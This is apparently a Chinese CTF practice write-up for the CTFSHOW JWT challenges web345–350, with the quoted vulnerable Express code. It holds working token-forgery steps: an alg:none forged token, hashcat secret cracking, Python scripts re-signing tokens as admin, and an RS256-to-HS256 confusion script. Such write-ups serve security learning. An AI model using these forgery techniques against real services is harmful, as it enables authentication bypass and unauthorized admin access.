Practice - CTFSHOW WEB入门 JWT篇

(Updated: )
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web345

复现失败，题目改过了，{"sub":"admin"} 也不好使，外面还多了一层中括号。。。

web346

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$ python .\jwt_tool.py 'eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJhZG1pbiIsImlhdCI6MTY1NDg0MTc5NiwiZXhwIjoxNjU0ODQ4OTk2LCJuYmYiOjE2NTQ4NDE3OTYsInN1YiI6InVzZXIiLCJqdGkiOiJiZWIyNDgxZDA1MzZhZjUxMjBlN2UxNzdmNDU5ZjU4YSJ9.MbQ4es2RnGnDMlzC8kGhUjV2dwEcPEO58Pf_WjYoxtU'

        \   \        \         \          \                    \
   \__   |   |  \     |\__    __| \__    __|                    |
         |   |   \    |      |          |       \         \     |
         |        \   |      |          |    __  \     __  \    |
  \      |      _     |      |          |   |     |   |     |   |
   |     |     / \    |      |          |   |     |   |     |   |
\        |    /   \   |      |          |\        |\        |   |
 \______/ \__/     \__|   \__|      \__| \______/  \______/ \__|
 Version 2.0.2                \______|             @ticarpi

Original JWT:

=====================
Decoded Token Values:
=====================

Token header values:
[+] alg = "HS256"
[+] typ = "JWT"

Token payload values:
[+] iss = "admin"
[+] iat = 1654841796    ==> TIMESTAMP = 2022-06-10 14:16:36 (UTC)
[+] exp = 1654848996    ==> TIMESTAMP = 2022-06-10 16:16:36 (UTC)
[+] nbf = 1654841796    ==> TIMESTAMP = 2022-06-10 14:16:36 (UTC)
[+] sub = "user"
[+] jti = "beb2481d0536af5120e7e177f459f58a"

Seen timestamps:
[*] iat was seen
[*] exp is later than iat by: 0 days, 2 hours, 0 mins

----------------------
JWT common timestamps:
iat = IssuedAt
exp = Expires
nbf = NotBefore
----------------------

尝试 none 攻击

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# {"alg":"none","typ":"JWT"}
eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0
# {"iss":"admin","iat":1654841796,"exp":1654848996,"nbf":1654841796,"sub":"admin","jti":"beb2481d0536af5120e7e177f459f58a"}
eyJpc3MiOiJhZG1pbiIsImlhdCI6MTY1NDg0MTc5NiwiZXhwIjoxNjU0ODQ4OTk2LCJuYmYiOjE2NTQ4NDE3OTYsInN1YiI6ImFkbWluIiwianRpIjoiYmViMjQ4MWQwNTM2YWY1MTIwZTdlMTc3ZjQ1OWY1OGEifQ
# payload
eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJpc3MiOiJhZG1pbiIsImlhdCI6MTY1NDg0MTc5NiwiZXhwIjoxNjU0ODQ4OTk2LCJuYmYiOjE2NTQ4NDE3OTYsInN1YiI6ImFkbWluIiwianRpIjoiYmViMjQ4MWQwNTM2YWY1MTIwZTdlMTc3ZjQ1OWY1OGEifQ.

别忘了结尾的 .

web347

这次改成 none 不行了，hashcat 爆破 secret: 

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$ .\hashcat.exe -m 16500 I:\test\ctfshow\web347\jwt.txt -a 3 -w 3 ?d?d?d?d?d?d
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJhZG1pbiIsImlhdCI6MTY1NDg0MzA1MiwiZXhwIjoxNjU0ODUwMjUyLCJuYmYiOjE2NTQ4NDMwNTIsInN1YiI                                                                                                           I6InVzZXIiLCJqdGkiOiJjOGUxODFkNjI1NmU3NGNlNDQ4OWMxZmFiMTM0ZmY3NyJ9.Q5ZvANDXJ5uGUmS7HuxzUqBdNy_QO0gUDQHCPqapqr8:123456

于是 

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import base64
import json

import jwt

jwt_origin = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJhZG1pbiIsImlhdCI6MTY1NDg0NjgxNywiZXhwIjoxNjU0ODU0MDE3LCJuYmYiOjE2NTQ4NDY4MTcsInN1YiI6InVzZXIiLCJqdGkiOiI3YjIxMzNiZWQ5OWRjMGQ1MTM3N2YxNDFhYWQyZmVjOSJ9.Gnhw24pqJOTZ23ncvSzJuHHPgys2F2ISCf4_kGmiRtA"
secret = "123456"
alg = json.loads(base64.b64decode(jwt_origin.split(".")[0]))["alg"]
payload = jwt.decode(jwt_origin, secret, algorithms=alg)

print("before: ", payload)
payload["sub"] = "admin"
print("after: ", payload)

jwt_payload = jwt.encode(payload, secret, algorithm=alg)
print(jwt_payload)

web348

提示和上题一样，hashcat 爆破 

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.\hashcat.exe -m 16500 I:\test\ctfshow\web348\jwt.txt -a 3 -w 3 ?b?b?b?b
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJhZG1pbiIsImlhdCI6MTY1NDg1MzIwNywiZXhwIjoxNjU0ODYwNDA3LCJuYmYiOjE2NTQ4NTMyMDcsInN1YiI                                                                                                           I6InVzZXIiLCJqdGkiOiI3ZGYzZDRmMjIyYTBmMjk5OWI0MTYwNTZjNGUxNzEyOCJ9.6VABqSwnJJhNNF4fH_VrNjqxpsFZvNV_O0YjfzxxO3s:aaab

于是

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import base64
import json

import jwt

jwt_origin = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJhZG1pbiIsImlhdCI6MTY1NDg1MzIwNywiZXhwIjoxNjU0ODYwNDA3LCJuYmYiOjE2NTQ4NTMyMDcsInN1YiI6InVzZXIiLCJqdGkiOiI3ZGYzZDRmMjIyYTBmMjk5OWI0MTYwNTZjNGUxNzEyOCJ9.6VABqSwnJJhNNF4fH_VrNjqxpsFZvNV_O0YjfzxxO3s"
secret = "aaab"
alg = json.loads(base64.b64decode(jwt_origin.split(".")[0]))["alg"]
payload = jwt.decode(jwt_origin, secret, algorithms=alg)

print("before: ", payload)
payload["sub"] = "admin"
print("after: ", payload)

jwt_payload = jwt.encode(payload, secret, algorithm=alg)
print(jwt_payload)

web349

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/* GET home page. */
router.get('/', function(req, res, next) {
  res.type('html');
  var privateKey = fs.readFileSync(process.cwd()+'//public//private.key');
  var token = jwt.sign({ user: 'user' }, privateKey, { algorithm: 'RS256' });
  res.cookie('auth',token);
  res.end('where is flag?');
  
});

router.post('/',function(req,res,next){
	var flag="flag_here";
	res.type('html');
	var auth = req.cookies.auth;
	var cert = fs.readFileSync(process.cwd()+'//public/public.key');  // get public key
	jwt.verify(auth, cert, function(err, decoded) {
	  if(decoded.user==='admin'){
	  	res.end(flag);
	  }else{
	  	res.end('you are not admin');
	  }
	});
});

私钥公钥都放 /public。。。 彳亍
这里用 jwt.decode RS256 遇到了坑，是这样解决的 https://stackoverflow.com/questions/65987293/typeerror-load-pem-private-key-missing-1-required-positional-argument-backe 

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import base64
import json

import jwt

jwt_origin = "eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyIjoidXNlciIsImlhdCI6MTY1NDg1NDAyM30.LoQYsGNplceMfmHPkysbc6ZTdNdpWOxuUpBu1IiyW_CUafDDEIyCxsJjjrOpo7RftkLC6O_kVd95R_E8SLzS7OTtUX-rYE3Z4XRFab-z8mgrPF2x_aE8Cb48WB-TNCrzseUCjcixO55PTN4aJc8S9hQpaZN6ita9QVAWGs_YQsY"
# secret = "aaab"
with open("private.key", "rb") as f:
    private_key = f.read()
with open("public.key", "rb") as f:
    public_key = f.read()


alg = json.loads(base64.b64decode(jwt_origin.split(".")[0]))["alg"]
payload = jwt.decode(jwt_origin, public_key, algorithms=alg)

print("before: ", payload)
payload["user"] = "admin"
print("after: ", payload)

jwt_payload = jwt.encode(payload, private_key, algorithm=alg)
print(jwt_payload)

web350

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var express = require('express');
var router = express.Router();
var jwt = require('jsonwebtoken');
var fs = require('fs');

/* GET home page. */
router.get('/', function(req, res, next) {
  res.type('html');
  var privateKey = fs.readFileSync(process.cwd()+'//routes/private.key');
  var token = jwt.sign({ user: 'user' }, privateKey, { algorithm: 'RS256' });

  res.cookie('auth',token);
  res.end('where is flag?');
  
});

router.post('/',function(req,res,next){
	var flag="flag_here";
	res.type('html');
	var auth = req.cookies.auth;
	var cert = fs.readFileSync(process.cwd()+'//routes/public.key');  // get public key
	jwt.verify(auth, cert,function(err, decoded) {
	  if(decoded.user==='admin'){
	  	res.end(flag);
	  }else{
	  	res.end('you are not admin'+err);
	  }
	});
});

module.exports = router;

RS256 => HS256，对称加密公钥当密码，python 写总报错绕过了生成的也不能用，找了个 js 脚本 

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const jwt = require('jsonwebtoken');
var fs = require('fs');
var privateKey = fs.readFileSync('public/public.key');
var token = jwt.sign({ user: 'admin' }, privateKey, { algorithm: 'HS256' });
console.log(token)